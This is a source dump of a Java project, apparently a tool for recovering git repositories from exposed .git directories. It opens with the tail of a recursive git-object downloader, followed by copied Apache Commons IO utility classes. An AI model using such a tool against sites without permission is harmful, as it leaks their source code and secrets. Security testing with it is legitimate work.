| } 286 | } 287 | } 288 | 289 | /** 非异常,GIT对象下载时作为哨兵 */ 290 | private class NotException extends IOException { 291 | /** */ 292 | private static final long serialVersionUID = 8780565940390318109L; 293 | } 294 | 295 | private class ObjectDownload implements Runnable { 296 | private String sha1; 297 | private AtomicInteger taskCount; 298 | private ConcurrentMap result; 299 | 300 | public ObjectDownload(String sha1, AtomicInteger taskCount, 301 | ConcurrentMap result) { 302 | this.sha1 = sha1; 303 | this.taskCount = taskCount; 304 | this.result = result; 305 | } 306 | 307 | @Override 308 | public void run() { 309 | try { 310 | String objectPath = downloadObject(sha1); 311 | if (StringUtil.isNotBlank(objectPath)) { 312 | for (String sha1 : ObjectParse.load(objectPath).findRelatedSha1()) { 313 | startObjectDownload(sha1, taskCount, result); 314 | } 315 | } 316 | result.put(sha1, new NotException()); 317 | } catch (IOException exception) { 318 | LogUtils.error(exception, "ObjectDownload detect error! sha1: %s", sha1); 319 | result.put(sha1, exception); 320 | } finally { 321 | taskCount.getAndDecrement(); 322 | } 323 | } 324 | } 325 | } 326 | -------------------------------------------------------------------------------- /src/java/com/jgithack/io/Charsets.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package com.jgithack.io; 18 | 19 | import java.nio.charset.Charset; 20 | 21 | /** 22 | * Charsets required of every implementation of the Java platform. 23 | * 24 | * From the Java documentation 25 | * Standard charsets: 26 | *

27 | * Every implementation of the Java platform is required to support the following character encodings. Consult the 28 | * release documentation for your implementation to see if any other encodings are supported. Consult the release 29 | * documentation for your implementation to see if any other encodings are supported. 30 | *

31 | * 32 | *
    33 | *
  • US-ASCII
    34 | * Seven-bit ASCII, a.k.a. ISO646-US, a.k.a. the Basic Latin block of the Unicode character set.
  • 35 | *
  • ISO-8859-1
    36 | * ISO Latin Alphabet No. 1, a.k.a. ISO-LATIN-1.
  • 37 | *
  • UTF-8
    38 | * Eight-bit Unicode Transformation Format.
  • 39 | *
  • UTF-16BE
    40 | * Sixteen-bit Unicode Transformation Format, big-endian byte order.
  • 41 | *
  • UTF-16LE
    42 | * Sixteen-bit Unicode Transformation Format, little-endian byte order.
  • 43 | *
  • UTF-16
    44 | * Sixteen-bit Unicode Transformation Format, byte order specified by a mandatory initial byte-order mark (either order 45 | * accepted on input, big-endian used on output.)
  • 46 | *
47 | * 48 | * @see Standard charsets 49 | * @since 2.3 50 | * @version $Id: Charsets.java 1311751 2012-04-10 14:26:21Z ggregory $ 51 | */ 52 | public class Charsets { 53 | // 54 | // This class should only contain Charset instances for required encodings. This guarantees that it will load 55 | // correctly and without delay on all Java platforms. 56 | // 57 | 58 | /** 59 | * Returns the given Charset or the default Charset if the given Charset is null. 60 | * 61 | * @param charset 62 | * A charset or null. 63 | * @return the given Charset or the default Charset if the given Charset is null 64 | */ 65 | public static Charset toCharset(Charset charset) { 66 | return charset == null ? Charset.defaultCharset() : charset; 67 | } 68 | 69 | /** 70 | * CharEncodingISO Latin Alphabet No. 1, a.k.a. ISO-LATIN-1.

71 | *

72 | * Every implementation of the Java platform is required to support this character encoding. 73 | *

74 | * 75 | * @see Standard charsets 76 | */ 77 | public static final Charset ISO_8859_1 = Charset.forName("ISO-8859-1"); 78 | 79 | /** 80 | *

81 | * Seven-bit ASCII, also known as ISO646-US, also known as the Basic Latin block of the Unicode character set. 82 | *

83 | *

84 | * Every implementation of the Java platform is required to support this character encoding. 85 | *

86 | * 87 | * @see Standard charsets 88 | */ 89 | public static final Charset US_ASCII = Charset.forName("US-ASCII"); 90 | 91 | /** 92 | *

93 | * Sixteen-bit Unicode Transformation Format, The byte order specified by a mandatory initial byte-order mark 94 | * (either order accepted on input, big-endian used on output) 95 | *

96 | *

97 | * Every implementation of the Java platform is required to support this character encoding. 98 | *

99 | * 100 | * @see Standard charsets 101 | */ 102 | public static final Charset UTF_16 = Charset.forName("UTF-16"); 103 | 104 | /** 105 | *

106 | * Sixteen-bit Unicode Transformation Format, big-endian byte order. 107 | *

108 | *

109 | * Every implementation of the Java platform is required to support this character encoding. 110 | *

111 | * 112 | * @see Standard charsets 113 | */ 114 | public static final Charset UTF_16BE = Charset.forName("UTF-16BE"); 115 | 116 | /** 117 | *

118 | * Sixteen-bit Unicode Transformation Format, little-endian byte order. 119 | *

120 | *

121 | * Every implementation of the Java platform is required to support this character encoding. 122 | *

123 | * 124 | * @see Standard charsets 125 | */ 126 | public static final Charset UTF_16LE = Charset.forName("UTF-16LE"); 127 | 128 | /** 129 | *

130 | * Eight-bit Unicode Transformation Format. 131 | *

132 | *

133 | * Every implementation of the Java platform is required to support this character encoding. 134 | *

135 | * 136 | * @see Standard charsets 137 | */ 138 | public static final Charset UTF_8 = Charset.forName("UTF-8"); 139 | } 140 | -------------------------------------------------------------------------------- /src/java/com/jgithack/io/FileUtils.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package com.jgithack.io; 18 | 19 | import java.io.File; 20 | import java.io.FileInputStream; 21 | import java.io.FileNotFoundException; 22 | import java.io.FileOutputStream; 23 | import java.io.IOException; 24 | import java.io.InputStream; 25 | import java.io.OutputStream; 26 | import java.nio.charset.Charset; 27 | import java.util.List; 28 | 29 | /** 30 | * General file manipulation utilities. 31 | *

32 | * Facilities are provided in the following areas: 33 | *

    34 | *
  • writing to a file 35 | *
  • reading from a file 36 | *
  • make a directory including parent directories 37 | *
  • copying files and directories 38 | *
  • deleting files and directories 39 | *
  • converting to and from a URL 40 | *
  • listing files and directories by filter and extension 41 | *
  • comparing file content 42 | *
  • file last changed date 43 | *
  • calculating a checksum 44 | *
45 | *

46 | * Origin of code: Excalibur, Alexandria, Commons-Utils 47 | * 48 | * @version $Id: FileUtils.java 1349509 2012-06-12 20:39:23Z ggregory $ 49 | */ 50 | public class FileUtils { 51 | //----------------------------------------------------------------------- 52 | /** 53 | * Opens a {@link FileInputStream} for the specified file, providing better 54 | * error messages than simply calling new FileInputStream(file). 55 | *

56 | * At the end of the method either the stream will be successfully opened, 57 | * or an exception will have been thrown. 58 | *

59 | * An exception is thrown if the file does not exist. 60 | * An exception is thrown if the file object exists but is a directory. 61 | * An exception is thrown if the file exists but cannot be read. 62 | * 63 | * @param file the file to open for input, must not be {@code null} 64 | * @return a new {@link FileInputStream} for the specified file 65 | * @throws FileNotFoundException if the file does not exist 66 | * @throws IOException if the file object is a directory 67 | * @throws IOException if the file cannot be read 68 | * @since 1.3 69 | */ 70 | public static FileInputStream openInputStream(File file) throws IOException { 71 | if (file.exists()) { 72 | if (file.isDirectory()) { 73 | throw new IOException("File '" + file + "' exists but is a directory"); 74 | } 75 | if (file.canRead() == false) { 76 | throw new IOException("File '" + file + "' cannot be read"); 77 | } 78 | } else { 79 | throw new FileNotFoundException("File '" + file + "' does not exist"); 80 | } 81 | return new FileInputStream(file); 82 | } 83 | 84 | /** 85 | * Opens a {@link FileOutputStream} for the specified file, checking and 86 | * creating the parent directory if it does not exist. 87 | *

88 | * At the end of the method either the stream will be successfully opened, 89 | * or an exception will have been thrown. 90 | *

91 | * The parent directory will be created if it does not exist. 92 | * The file will be created if it does not exist. 93 | * An exception is thrown if the file object exists but is a directory. 94 | * An exception is thrown if the file exists but cannot be written to. 95 | * An exception is thrown if the parent directory cannot be created. 96 | * 97 | * @param file the file to open for output, must not be {@code null} 98 | * @param append if {@code true}, then bytes will be added to the 99 | * end of the file rather than overwriting 100 | * @return a new {@link FileOutputStream} for the specified file 101 | * @throws IOException if the file object is a directory 102 | * @throws IOException if the file cannot be written to 103 | * @throws IOException if a parent directory needs creating but that fails 104 | * @since 2.1 105 | */ 106 | public static FileOutputStream openOutputStream(File file, boolean append) throws IOException { 107 | if (file.exists()) { 108 | if (file.isDirectory()) { 109 | throw new IOException("File '" + file + "' exists but is a directory"); 110 | } 111 | if (file.canWrite() == false) { 112 | throw new IOException("File '" + file + "' cannot be written to"); 113 | } 114 | } else { 115 | File parent = file.getParentFile(); 116 | if (parent != null) { 117 | if (!parent.mkdirs() && !parent.isDirectory()) { 118 | throw new IOException("Directory '" + parent + "' could not be created"); 119 | } 120 | } 121 | } 122 | return new FileOutputStream(file, append); 123 | } 124 | 125 | //----------------------------------------------------------------------- 126 | /** 127 | * Reads the contents of a file into a String. 128 | * The file is always closed. 129 | * 130 | * @param file the file to read, must not be {@code null} 131 | * @param encoding the encoding to use, {@code null} means platform default 132 | * @return the file contents, never {@code null} 133 | * @throws IOException in case of an I/O error 134 | * @since 2.3 135 | */ 136 | public static String readFileToString(File file, Charset encoding) throws IOException { 137 | InputStream in = null; 138 | try { 139 | in = openInputStream(file); 140 | return IOUtils.toString(in, Charsets.toCharset(encoding)); 141 | } finally { 142 | IOUtils.closeQuietly(in); 143 | } 144 | } 145 | 146 | /** 147 | * Reads the contents of a file into a String using the default encoding for the VM. 148 | * The file is always closed. 149 | * 150 | * @param file the file to read, must not be {@code null} 151 | * @return the file contents, never {@code null} 152 | * @throws IOException in case of an I/O error 153 | * @since 1.3.1 154 | */ 155 | public static String readFileToString(File file) throws IOException { 156 | return readFileToString(file, Charset.defaultCharset()); 157 | } 158 | 159 | /** 160 | * Reads the contents of a file into a byte array. 161 | * The file is always closed. 162 | * 163 | * @param file the file to read, must not be {@code null} 164 | * @return the file contents, never {@code null} 165 | * @throws IOException in case of an I/O error 166 | * @since 1.1 167 | */ 168 | public static byte[] readFileToByteArray(File file) throws IOException { 169 | InputStream in = null; 170 | try { 171 | in = openInputStream(file); 172 | return IOUtils.toByteArray(in, file.length()); 173 | } finally { 174 | IOUtils.closeQuietly(in); 175 | } 176 | } 177 | 178 | /** 179 | * Reads the contents of a file line by line to a List of Strings. 180 | * The file is always closed. 181 | * 182 | * @param file the file to read, must not be {@code null} 183 | * @param encoding the encoding to use, {@code null} means platform default 184 | * @return the list of Strings representing each line in the file, never {@code null} 185 | * @throws IOException in case of an I/O error 186 | * @since 2.3 187 | */ 188 | public static List readLines(File file, Charset encoding) throws IOException { 189 | InputStream in = null; 190 | try { 191 | in = openInputStream(file); 192 | return IOUtils.readLines(in, Charsets.toCharset(encoding)); 193 | } finally { 194 | IOUtils.closeQuietly(in); 195 | } 196 | } 197 | 198 | /** 199 | * Reads the contents of a file line by line to a List of Strings using the default encoding for the VM. 200 | * The file is always closed. 201 | * 202 | * @param file the file to read, must not be {@code null} 203 | * @return the list of Strings representing each line in the file, never {@code null} 204 | * @throws IOException in case of an I/O error 205 | * @since 1.3 206 | */ 207 | public static List readLines(File file) throws IOException { 208 | return readLines(file, Charset.defaultCharset()); 209 | } 210 | 211 | /** 212 | * Writes a String to a file creating the file if it does not exist. 213 | * 214 | * @param file the file to write 215 | * @param data the content to write to the file 216 | * @param encoding the encoding to use, {@code null} means platform default 217 | * @param append if {@code true}, then the String will be added to the 218 | * end of the file rather than overwriting 219 | * @throws IOException in case of an I/O error 220 | * @since 2.3 221 | */ 222 | public static void writeStringToFile(File file, String data, Charset encoding, boolean append) 223 | throws IOException { 224 | OutputStream out = null; 225 | try { 226 | out = openOutputStream(file, append); 227 | IOUtils.write(data, out, encoding); 228 | out.close(); // don't swallow close Exception if copy completes normally 229 | } finally { 230 | IOUtils.closeQuietly(out); 231 | } 232 | } 233 | 234 | /** 235 | * Writes a String to a file creating the file if it does not exist using the default encoding for the VM. 236 | * 237 | * @param file the file to write 238 | * @param data the content to write to the file 239 | * @throws IOException in case of an I/O error 240 | */ 241 | public static void writeStringToFile(File file, String data) throws IOException { 242 | writeStringToFile(file, data, Charset.defaultCharset(), false); 243 | } 244 | 245 | /** 246 | * Writes a byte array to a file creating the file if it does not exist. 247 | * 248 | * @param file the file to write to 249 | * @param data the content to write to the file 250 | * @param append if {@code true}, then bytes will be added to the 251 | * end of the file rather than overwriting 252 | * @throws IOException in case of an I/O error 253 | * @since IO 2.1 254 | */ 255 | public static void writeByteArrayToFile(File file, byte[] data, boolean append) 256 | throws IOException { 257 | OutputStream out = null; 258 | try { 259 | out = openOutputStream(file, append); 260 | out.write(data); 261 | out.close(); // don't swallow close Exception if copy completes normally 262 | } finally { 263 | IOUtils.closeQuietly(out); 264 | } 265 | } 266 | } 267 | -------------------------------------------------------------------------------- /src/java/com/jgithack/io/IOUtils.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package com.jgithack.io; 18 | 19 | import java.io.BufferedReader; 20 | import java.io.Closeable; 21 | import java.io.IOException; 22 | import java.io.InputStream; 23 | import java.io.InputStreamReader; 24 | import java.io.OutputStream; 25 | import java.io.Reader; 26 | import java.io.Writer; 27 | import java.nio.charset.Charset; 28 | import java.util.ArrayList; 29 | import java.util.List; 30 | 31 | /** 32 | * General IO stream manipulation utilities. 33 | *

34 | * This class provides static utility methods for input/output operations. 35 | *

    36 | *
  • closeQuietly - these methods close a stream ignoring nulls and exceptions 37 | *
  • toXxx/read - these methods read data from a stream 38 | *
  • write - these methods write data to a stream 39 | *
  • copy - these methods copy all the data from one stream to another 40 | *
  • contentEquals - these methods compare the content of two streams 41 | *
42 | *

43 | * The byte-to-char methods and char-to-byte methods involve a conversion step. 44 | * Two methods are provided in each case, one that uses the platform default 45 | * encoding and the other which allows you to specify an encoding. You are 46 | * encouraged to always specify an encoding because relying on the platform 47 | * default can lead to unexpected results, for example when moving from 48 | * development to production. 49 | *

50 | * All the methods in this class that read a stream are buffered internally. 51 | * This means that there is no cause to use a BufferedInputStream 52 | * or BufferedReader. The default buffer size of 4K has been shown 53 | * to be efficient in tests. 54 | *

55 | * Wherever possible, the methods in this class do not flush or close 56 | * the stream. This is to avoid making non-portable assumptions about the 57 | * streams' origin and further use. Thus the caller is still responsible for 58 | * closing streams after use. 59 | *

60 | * Origin of code: Excalibur. 61 | * 62 | * @version $Id: IOUtils.java 1326636 2012-04-16 14:54:53Z ggregory $ 63 | */ 64 | public class IOUtils { 65 | // NOTE: This class is focussed on InputStream, OutputStream, Reader and 66 | // Writer. Each method should take at least one of these as a parameter, 67 | // or return one of them. 68 | 69 | private static final int EOF = -1; 70 | 71 | /** 72 | * The default buffer size ({@value}) to use for 73 | * {@link #copyLarge(InputStream, OutputStream)} 74 | * and 75 | * {@link #copyLarge(Reader, Writer)} 76 | */ 77 | private static final int DEFAULT_BUFFER_SIZE = 1024 * 4; 78 | 79 | /** 80 | * Unconditionally close an InputStream. 81 | *

82 | * Equivalent to {@link InputStream#close()}, except any exceptions will be ignored. 83 | * This is typically used in finally blocks. 84 | *

85 | * Example code: 86 | *

 87 |      *   byte[] data = new byte[1024];
 88 |      *   InputStream in = null;
 89 |      *   try {
 90 |      *       in = new FileInputStream("foo.txt");
 91 |      *       in.read(data);
 92 |      *       in.close(); //close errors are handled
 93 |      *   } catch (Exception e) {
 94 |      *       // error handling
 95 |      *   } finally {
 96 |      *       IOUtils.closeQuietly(in);
 97 |      *   }
 98 |      * 
99 | * 100 | * @param input the InputStream to close, may be null or already closed 101 | */ 102 | public static void closeQuietly(InputStream input) { 103 | closeQuietly((Closeable) input); 104 | } 105 | 106 | /** 107 | * Unconditionally close an OutputStream. 108 | *

109 | * Equivalent to {@link OutputStream#close()}, except any exceptions will be ignored. 110 | * This is typically used in finally blocks. 111 | *

112 | * Example code: 113 | *

114 |      * byte[] data = "Hello, World".getBytes();
115 |      *
116 |      * OutputStream out = null;
117 |      * try {
118 |      *     out = new FileOutputStream("foo.txt");
119 |      *     out.write(data);
120 |      *     out.close(); //close errors are handled
121 |      * } catch (IOException e) {
122 |      *     // error handling
123 |      * } finally {
124 |      *     IOUtils.closeQuietly(out);
125 |      * }
126 |      * 
127 | * 128 | * @param output the OutputStream to close, may be null or already closed 129 | */ 130 | public static void closeQuietly(OutputStream output) { 131 | closeQuietly((Closeable) output); 132 | } 133 | 134 | /** 135 | * Unconditionally close a Closeable. 136 | *

137 | * Equivalent to {@link Closeable#close()}, except any exceptions will be ignored. 138 | * This is typically used in finally blocks. 139 | *

140 | * Example code: 141 | *

142 |      *   Closeable closeable = null;
143 |      *   try {
144 |      *       closeable = new FileReader("foo.txt");
145 |      *       // process closeable
146 |      *       closeable.close();
147 |      *   } catch (Exception e) {
148 |      *       // error handling
149 |      *   } finally {
150 |      *       IOUtils.closeQuietly(closeable);
151 |      *   }
152 |      * 
153 | * 154 | * @param closeable the object to close, may be null or already closed 155 | * @since 2.0 156 | */ 157 | public static void closeQuietly(Closeable closeable) { 158 | try { 159 | if (closeable != null) { 160 | closeable.close(); 161 | } 162 | } catch (IOException ioe) { 163 | // ignore 164 | } 165 | } 166 | 167 | /** 168 | * Returns the given reader if it is a {@link BufferedReader}, otherwise creates a toBufferedReader for the given 169 | * reader. 170 | * 171 | * @param reader 172 | * the reader to wrap or return 173 | * @return the given reader or a new {@link BufferedReader} for the given reader 174 | * @since 2.2 175 | */ 176 | public static BufferedReader toBufferedReader(Reader reader) { 177 | return reader instanceof BufferedReader ? (BufferedReader) reader : new BufferedReader( 178 | reader); 179 | } 180 | 181 | /** 182 | * Get contents of an InputStream as a byte[]. 183 | * Use this method instead of toByteArray(InputStream) 184 | * when InputStream size is known. 185 | * NOTE: the method checks that the length can safely be cast to an int without truncation 186 | * before using {@link IOUtils#toByteArray(java.io.InputStream, int)} to read into the byte array. 187 | * (Arrays can have no more than Integer.MAX_VALUE entries anyway) 188 | * 189 | * @param input the InputStream to read from 190 | * @param size the size of InputStream 191 | * @return the requested byte array 192 | * @throws IOException if an I/O error occurs or InputStream size differ from parameter size 193 | * @throws IllegalArgumentException if size is less than zero or size is greater than Integer.MAX_VALUE 194 | * @see IOUtils#toByteArray(java.io.InputStream, int) 195 | * @since 2.1 196 | */ 197 | public static byte[] toByteArray(InputStream input, long size) throws IOException { 198 | 199 | if (size > Integer.MAX_VALUE) { 200 | throw new IllegalArgumentException("Size cannot be greater than Integer max value: " 201 | + size); 202 | } 203 | 204 | return toByteArray(input, (int) size); 205 | } 206 | 207 | /** 208 | * Get the contents of an InputStream as a byte[]. 209 | * Use this method instead of toByteArray(InputStream) 210 | * when InputStream size is known 211 | * @param input the InputStream to read from 212 | * @param size the size of InputStream 213 | * @return the requested byte array 214 | * @throws IOException if an I/O error occurs or InputStream size differ from parameter size 215 | * @throws IllegalArgumentException if size is less than zero 216 | * @since 2.1 217 | */ 218 | public static byte[] toByteArray(InputStream input, int size) throws IOException { 219 | 220 | if (size < 0) { 221 | throw new IllegalArgumentException("Size must be equal or greater than zero: " + size); 222 | } 223 | 224 | if (size == 0) { 225 | return new byte[0]; 226 | } 227 | 228 | byte[] data = new byte[size]; 229 | int offset = 0; 230 | int readed; 231 | 232 | while (offset < size && (readed = input.read(data, offset, size - offset)) != EOF) { 233 | offset += readed; 234 | } 235 | 236 | if (offset != size) { 237 | throw new IOException("Unexpected readed size. current: " + offset + ", excepted: " 238 | + size); 239 | } 240 | 241 | return data; 242 | } 243 | 244 | /** 245 | * Get the contents of an InputStream as a String 246 | * using the specified character encoding. 247 | *

248 | * This method buffers the input internally, so there is no need to use a 249 | * BufferedInputStream. 250 | *

251 | * @param input the InputStream to read from 252 | * @param encoding the encoding to use, null means platform default 253 | * @return the requested String 254 | * @throws NullPointerException if the input is null 255 | * @throws IOException if an I/O error occurs 256 | * @since 2.3 257 | */ 258 | public static String toString(InputStream input, Charset encoding) throws IOException { 259 | StringBuilderWriter sw = new StringBuilderWriter(); 260 | copy(input, sw, encoding); 261 | return sw.toString(); 262 | } 263 | 264 | /** 265 | * Get the contents of an InputStream as a list of Strings, 266 | * one entry per line, using the specified character encoding. 267 | *

268 | * This method buffers the input internally, so there is no need to use a 269 | * BufferedInputStream. 270 | * 271 | * @param input the InputStream to read from, not null 272 | * @param encoding the encoding to use, null means platform default 273 | * @return the list of Strings, never null 274 | * @throws NullPointerException if the input is null 275 | * @throws IOException if an I/O error occurs 276 | * @since 2.3 277 | */ 278 | public static List readLines(InputStream input, Charset encoding) throws IOException { 279 | InputStreamReader reader = new InputStreamReader(input, Charsets.toCharset(encoding)); 280 | return readLines(reader); 281 | } 282 | 283 | /** 284 | * Get the contents of a Reader as a list of Strings, 285 | * one entry per line. 286 | *

287 | * This method buffers the input internally, so there is no need to use a 288 | * BufferedReader. 289 | * 290 | * @param input the Reader to read from, not null 291 | * @return the list of Strings, never null 292 | * @throws NullPointerException if the input is null 293 | * @throws IOException if an I/O error occurs 294 | * @since 1.1 295 | */ 296 | public static List readLines(Reader input) throws IOException { 297 | BufferedReader reader = toBufferedReader(input); 298 | List list = new ArrayList(); 299 | String line = reader.readLine(); 300 | while (line != null) { 301 | list.add(line); 302 | line = reader.readLine(); 303 | } 304 | return list; 305 | } 306 | 307 | /** 308 | * Writes chars from a String to bytes on an 309 | * OutputStream using the specified character encoding. 310 | *

311 | * This method uses {@link String#getBytes(String)}. 312 | * 313 | * @param data the String to write, null ignored 314 | * @param output the OutputStream to write to 315 | * @param encoding the encoding to use, null means platform default 316 | * @throws NullPointerException if output is null 317 | * @throws IOException if an I/O error occurs 318 | * @since 2.3 319 | */ 320 | public static void write(String data, OutputStream output, Charset encoding) throws IOException { 321 | if (data != null) { 322 | output.write(data.getBytes(Charsets.toCharset(encoding))); 323 | } 324 | } 325 | 326 | /** 327 | * Copy bytes from an InputStream to chars on a 328 | * Writer using the specified character encoding. 329 | *

330 | * This method buffers the input internally, so there is no need to use a 331 | * BufferedInputStream. 332 | *

333 | * This method uses {@link InputStreamReader}. 334 | * 335 | * @param input the InputStream to read from 336 | * @param output the Writer to write to 337 | * @param encoding the encoding to use, null means platform default 338 | * @throws NullPointerException if the input or output is null 339 | * @throws IOException if an I/O error occurs 340 | * @since 2.3 341 | */ 342 | public static void copy(InputStream input, Writer output, Charset encoding) throws IOException { 343 | InputStreamReader in = new InputStreamReader(input, Charsets.toCharset(encoding)); 344 | copy(in, output); 345 | } 346 | 347 | // copy from Reader 348 | //----------------------------------------------------------------------- 349 | /** 350 | * Copy chars from a Reader to a Writer. 351 | *

352 | * This method buffers the input internally, so there is no need to use a 353 | * BufferedReader. 354 | *

355 | * Large streams (over 2GB) will return a chars copied value of 356 | * -1 after the copy has completed since the correct 357 | * number of chars cannot be returned as an int. For large streams 358 | * use the copyLarge(Reader, Writer) method. 359 | * 360 | * @param input the Reader to read from 361 | * @param output the Writer to write to 362 | * @return the number of characters copied, or -1 if > Integer.MAX_VALUE 363 | * @throws NullPointerException if the input or output is null 364 | * @throws IOException if an I/O error occurs 365 | * @since 1.1 366 | */ 367 | public static int copy(Reader input, Writer output) throws IOException { 368 | long count = copyLarge(input, output); 369 | if (count > Integer.MAX_VALUE) { 370 | return -1; 371 | } 372 | return (int) count; 373 | } 374 | 375 | /** 376 | * Copy chars from a large (over 2GB) Reader to a Writer. 377 | *

378 | * This method buffers the input internally, so there is no need to use a 379 | * BufferedReader. 380 | *

381 | * The buffer size is given by {@link #DEFAULT_BUFFER_SIZE}. 382 | * 383 | * @param input the Reader to read from 384 | * @param output the Writer to write to 385 | * @return the number of characters copied 386 | * @throws NullPointerException if the input or output is null 387 | * @throws IOException if an I/O error occurs 388 | * @since 1.3 389 | */ 390 | public static long copyLarge(Reader input, Writer output) throws IOException { 391 | return copyLarge(input, output, new char[DEFAULT_BUFFER_SIZE]); 392 | } 393 | 394 | /** 395 | * Copy chars from a large (over 2GB) Reader to a Writer. 396 | *

397 | * This method uses the provided buffer, so there is no need to use a 398 | * BufferedReader. 399 | *

400 | * 401 | * @param input the Reader to read from 402 | * @param output the Writer to write to 403 | * @param buffer the buffer to be used for the copy 404 | * @return the number of characters copied 405 | * @throws NullPointerException if the input or output is null 406 | * @throws IOException if an I/O error occurs 407 | * @since 2.2 408 | */ 409 | public static long copyLarge(Reader input, Writer output, char[] buffer) throws IOException { 410 | long count = 0; 411 | int n = 0; 412 | while (EOF != (n = input.read(buffer))) { 413 | output.write(buffer, 0, n); 414 | count += n; 415 | } 416 | return count; 417 | } 418 | } 419 | -------------------------------------------------------------------------------- /src/java/com/jgithack/io/StringBuilderWriter.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package com.jgithack.io; 18 | 19 | import java.io.Serializable; 20 | import java.io.Writer; 21 | 22 | /** 23 | * {@link Writer} implementation that outputs to a {@link StringBuilder}. 24 | *

25 | * NOTE: This implementation, as an alternative to 26 | * java.io.StringWriter, provides an un-synchronized 27 | * (i.e. for use in a single thread) implementation for better performance. 28 | * For safe usage with multiple {@link Thread}s then 29 | * java.io.StringWriter should be used. 30 | * 31 | * @version $Id: StringBuilderWriter.java 1304052 2012-03-22 20:55:29Z ggregory $ 32 | * @since 2.0 33 | */ 34 | public class StringBuilderWriter extends Writer implements Serializable { 35 | /** serial-number */ 36 | private static final long serialVersionUID = 4763830082497156825L; 37 | 38 | private final StringBuilder builder; 39 | 40 | /** 41 | * Construct a new {@link StringBuilder} instance with default capacity. 42 | */ 43 | public StringBuilderWriter() { 44 | this.builder = new StringBuilder(); 45 | } 46 | 47 | /** 48 | * Construct a new {@link StringBuilder} instance with the specified capacity. 49 | * 50 | * @param capacity The initial capacity of the underlying {@link StringBuilder} 51 | */ 52 | public StringBuilderWriter(int capacity) { 53 | this.builder = new StringBuilder(capacity); 54 | } 55 | 56 | /** 57 | * Construct a new instance with the specified {@link StringBuilder}. 58 | * 59 | * @param builder The String builder 60 | */ 61 | public StringBuilderWriter(StringBuilder builder) { 62 | this.builder = builder != null ? builder : new StringBuilder(); 63 | } 64 | 65 | /** 66 | * Append a single character to this Writer. 67 | * 68 | * @param value The character to append 69 | * @return This writer instance 70 | */ 71 | @Override 72 | public Writer append(char value) { 73 | builder.append(value); 74 | return this; 75 | } 76 | 77 | /** 78 | * Append a character sequence to this Writer. 79 | * 80 | * @param value The character to append 81 | * @return This writer instance 82 | */ 83 | @Override 84 | public Writer append(CharSequence value) { 85 | builder.append(value); 86 | return this; 87 | } 88 | 89 | /** 90 | * Append a portion of a character sequence to the {@link StringBuilder}. 91 | * 92 | * @param value The character to append 93 | * @param start The index of the first character 94 | * @param end The index of the last character + 1 95 | * @return This writer instance 96 | */ 97 | @Override 98 | public Writer append(CharSequence value, int start, int end) { 99 | builder.append(value, start, end); 100 | return this; 101 | } 102 | 103 | /** 104 | * Closing this writer has no effect. 105 | */ 106 | @Override 107 | public void close() { 108 | } 109 | 110 | /** 111 | * Flushing this writer has no effect. 112 | */ 113 | @Override 114 | public void flush() { 115 | } 116 | 117 | /** 118 | * Write a String to the {@link StringBuilder}. 119 | * 120 | * @param value The value to write 121 | */ 122 | @Override 123 | public void write(String value) { 124 | if (value != null) { 125 | builder.append(value); 126 | } 127 | } 128 | 129 | /** 130 | * Write a portion of a character array to the {@link StringBuilder}. 131 | * 132 | * @param value The value to write 133 | * @param offset The index of the first character 134 | * @param length The number of characters to write 135 | */ 136 | @Override 137 | public void write(char[] value, int offset, int length) { 138 | if (value != null) { 139 | builder.append(value, offset, length); 140 | } 141 | } 142 | 143 | /** 144 | * Return the underlying builder. 145 | * 146 | * @return The underlying builder 147 | */ 148 | public StringBuilder getBuilder() { 149 | return builder; 150 | } 151 | 152 | /** 153 | * Returns {@link StringBuilder#toString()}. 154 | * 155 | * @return The contents of the String builder. 156 | */ 157 | @Override 158 | public String toString() { 159 | return builder.toString(); 160 | } 161 | } 162 | -------------------------------------------------------------------------------- /src/java/com/jgithack/lang/StringUtil.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.net 3 | * Copyright (c) 2004-2016 All 